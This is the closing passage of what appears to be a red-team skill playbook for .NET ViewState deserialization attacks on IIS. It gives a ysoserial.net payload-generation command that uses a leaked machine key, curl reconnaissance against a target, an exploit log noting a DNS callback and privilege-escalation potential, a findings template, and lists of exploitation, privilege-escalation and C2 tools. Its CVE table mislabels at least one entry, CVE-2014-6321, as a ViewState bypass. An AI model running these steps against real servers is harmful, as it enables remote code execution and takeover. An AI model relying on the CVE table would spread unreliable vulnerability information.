echo ".\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 -c 'whoami' --validationkey='AABB...' --generator='CA0B0334'" > exploit_cmd.txt

# Document IIS version and .NET version
curl -I https://target.com/ 2>&1 | grep -i "server\|x-asp\|x-powered"

# Save error page if debug mode enabled
curl -s https://target.com/nonexistent > debug_error.html

# Log all exploit attempts with timestamps
tee -a exploit_log.txt <<EOF
[$(date)] ViewState RCE
  Target: https://target.com/default.aspx
  Gadget: TextFormattingRunProperties
  Key Source: GitHub leaked web.config
  Callback: callback.burpcollaborator.net DNS at $(date)
  Identity: IIS APPPOOL\DefaultAppPool
  Privileges: SeImpersonatePrivilege Enabled
EOF
```

### Report Findings Template

```markdown
## Finding: .NET ViewState Deserialization RCE

**Severity:** Critical (CVSS 9.8)
**CWE:** CWE-502: Deserialization of Untrusted Data

**Evidence:**
- Leaked web.config on GitHub: [URL]
- MachineKey: AABB... (validationKey)
- ViewState generator: CA0B0334
- Command executed: `whoami` → output: `iis apppool\portal`
- DNS callback confirmed at: [timestamp]

**Remediation:**
1. Rotate MachineKey immediately
2. Enable ViewState encryption and MAC validation
3. Remove config from Git history with git-filter-repo
4. Upgrade to .NET 6+ (no ViewState)
5. Implement WAF rules for ViewState anomalies
```

---

## 11. Resources and References

### Primary Tools

| Tool | URL | Description |
|---|---|---|
| ysoserial.net | https://github.com/pwntester/ysoserial.net | .NET deserialization payload generator |
| viewgen | https://github.com/0xacb/viewgen | ViewState exploitation toolkit |
| IIS ShortName Scanner | https://github.com/irsdl/IIS-ShortName-Scanner | IIS 8.3 filename enumeration |
| Blacklist3r | https://github.com/NotSoSecure/Blacklist3r | Default MachineKey database lookup |
| dotnet-deserialization-detector | https://github.com/portswigger/burp-extensions-montoya-api | Burp extension for detection |
| GodPotato | https://github.com/BeichenDream/GodPotato | IIS AppPool privilege escalation |
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer | SeImpersonatePrivilege escalation |
| Covenant | https://github.com/cobbr/Covenant | .NET C2 framework |
| SharpCollection | https://github.com/Flangvik/SharpCollection | Pre-compiled .NET attack tools |

### Research and References

| Resource | URL |
|---|---|
| ysoserial.net wiki — all formatters | https://github.com/pwntester/ysoserial.net/wiki |
| ExploitDotNet gadget research | https://github.com/pwntester/ysoserial.net/blob/master/README.md |
| ViewState MAC bypass research | https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/DotNet/ |
| .NET Deserialization Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html |
| IIS Short Filename Vulnerability | https://soroush.secproject.com/blog/2014/04/iis-short-file-name-disclosure-is-back/ |
| JSON.NET TypeNameHandling risk | https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html |
| HTTP.sys CVE list | https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-105/ |
| BlackHat .NET deserialization | https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf |
| WCF attack surface | https://docs.microsoft.com/en-us/dotnet/framework/wcf/feature-details/security-considerations-in-wcf |
| PayloadsAllTheThings .NET | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization |
| HackTricks .NET deserialization | https://book.hacktricks.wiki/en/pentesting-web/deserialization/net-deserialization.html |
| Alvaro Munoz original research | https://speakerdeck.com/pwntester/attacking-net-serialization |
| Exploiting VIEWSTATE | https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net |
| IIS Tilde Enumeration | https://github.com/irsdl/IIS-ShortName-Scanner/wiki |
| .NET Gadget Chains Deep Dive | https://www.nccgroup.com/uk/research-blog/technical-advisory-net-deserialization-gadget-chains/ |

### CVE References

| CVE | Description | Affected |
|---|---|---|
| CVE-2014-6321 | ViewState HMAC bypass | ASP.NET 1.x-4.x |
| CVE-2021-31166 | HTTP.sys RCE | Windows Server IIS 10 |
| CVE-2015-1635 | HTTP.sys range header RCE | IIS 7.5-8.5 |
| CVE-2017-9248 | Telerik UI deserialization | Telerik.Web.UI |
| CVE-2019-18935 | Telerik UI RadAsyncUpload RCE | Telerik.Web.UI |
| CVE-2020-0688 | Exchange ViewState RCE | Exchange Server |
| CVE-2022-30190 | MSDT Follina (IIS pivot) | Windows MSDT |

---

*This skill is for authorized Red Team engagements only. Always operate within defined Rules of Engagement.*
